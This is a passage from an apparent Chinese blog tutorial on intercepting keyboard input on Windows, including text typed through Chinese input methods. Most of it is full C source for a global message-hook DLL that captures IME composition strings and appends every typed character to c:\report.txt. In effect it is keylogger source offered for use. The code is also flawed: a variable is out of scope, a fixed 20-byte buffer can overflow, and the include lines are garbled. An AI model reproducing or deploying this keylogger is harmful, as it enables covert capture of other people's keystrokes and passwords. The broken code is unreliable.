说了吧(太简单了),也不是我们本篇文章所探究的。
截获ASCII字符,大家可以通过注册WH_CALLWNDPROC 或者 WH_KEYBOARD 和 WH-GETMESSAGE钩子 来截获相关按键的虚拟码和通过
windows转换后的wm_char消息。 当然你在通过WH_KEYBOARD钩子截获按键 按上和按下的时候获得键盘驱动所发给windows系统
的虚拟码后,自己通过其特定的编码规则进行转换,但这无疑是一项非常庞大的工程。。
有无简单的方法呢? 当然有了,如果没有也就没有今天的文章了。 呵呵。。在这里我就要说下一个概念了。windows下的汉字
输入法其实是将输入的ASCII字符串按照一定的编码规则组合成汉字。但是windows很聪明,它不可能让这个转换的任务交给我们应用
程序,所以这个重任就放到了windows系统管理中了。。
我们大家平时在输入汉字的时候,都要切换下输入法。在我们切换输入法的时候,这个时候我们的键盘消息就要又经过一个途径,才能转发到我们的窗口过程中。
键盘事件 应用程序
| |
Windows的user.exe
|
输入法管理器
|
输入法
当我们切换输入法后,输入的字符这时候不会直接发送到我们的窗口过程,而是经过一道途径。是windows将键盘事件发送到
windows的user.exe进程中,user进程再讲键盘事件发送到输入法管理器(Input Method Manager,简称IMM)中。输入法管理器
最后再将键盘事件传送到输入法中,输入法这个时候会根据用户的编码字典,翻译键盘事件为对应的汉字,然后在发送到user.exe,
user.exe再将翻译后的键盘事件传给正在运行的应用程序,从而完成汉字的输入。
在输入法将键盘消息通过用户编码字典转换成汉字 后,我们在进行截获,这样我们得到的就是编码后的汉字了。。 嘿嘿,是不是很爽啊。
好,思路已经有了。我们下面来看具体的分析:
我们知道我们windows是基于消息机制的,那么在完成编码后,会不会发送消息呢?没错,在输入法将键盘事件通过用户编码
字典翻译成汉字的时候会触发:WM_IME_COMPOSITION消息,这个消息是输入法将输入的编码保存到编码结构时候会触发。所以我们
只要拦截这个消息,并且每个一个ime(也就是输入法编辑器)都会有一个输入法相关的部分,简称为IMC 。
IMC还包含一个部件,IMCCI,IMCCI是INPUTCONTEXT 结构的成员。
由于windows的各种资源是通过句柄来表示的,imc也是通过句柄来表示的,我们只要取得其句柄就可以通过其输入法管理器
提供的函数来操作imc。
输入法管理器提供了一个接口函数ImmGetContext 来获得其imc的句柄。
那么获得句柄以后呢,我在上面已经说了。 在完成编码的时候会触发WM_IME_COMPOSITION,并且完成的编码保存到编码
结构中,所以此时我们只要通过特定的函数来取得编码结构中存放的之前编码的结果,这样我们取到的就是其特定转换后的汉字了。
呵呵,输入法管理器同样提供给我们了一个接口函数ImmGetCompositionString函数。
这个函数可以取得将编码结构中的编码结果取得到特定的缓冲区。。
ImmGetCompositionString 还有一个技巧,就是可以取得编码结构中编码结构的字节大小。
这正好给我们提供了方便嘛。我们直接通过ImmGetCompositionString来取得大小,然后在通过ImmGetCompositionString
获得编码结构到我们的缓冲区。。
最后我们通过ImmReleaseContext来释放imc。
好接下来我来画个流程。。
注册全局钩子
|
| 钩子函数 |
如果是WM_IME_COMPOSITION 如果是WM_CHAR
我们首先注册全局钩子,然后钩子函数来判断其消息如果是WM_CHAR则表示我们此时输入的是字母。如果是
WM_IME_COMPOSITION表示目前我们通过输入法来输入汉字,我们截获汉字的时机也就在这里。
我们可以通过注册 WH_GETMESSAGE 钩子,这时候我们就可以通过其判定消息来分别处理。当然你可以
注册多个钩子,例如再注册一个Wh_KEYBOARD,来获得一些特殊的字符并自行处理下。防止WM_CHAR显示的是其windows默认
翻译的。
以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
以下是源代码:
//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#i nclude "windows.h"
#i nclude "imm.h"
#i nclude "stdio.h"
#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
break;
}
}
return(lResult);
}
HOOK_API BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
/
hool.def模块:
/
LIBRARY HOOK
EXPORTS
InstallHook
UnHook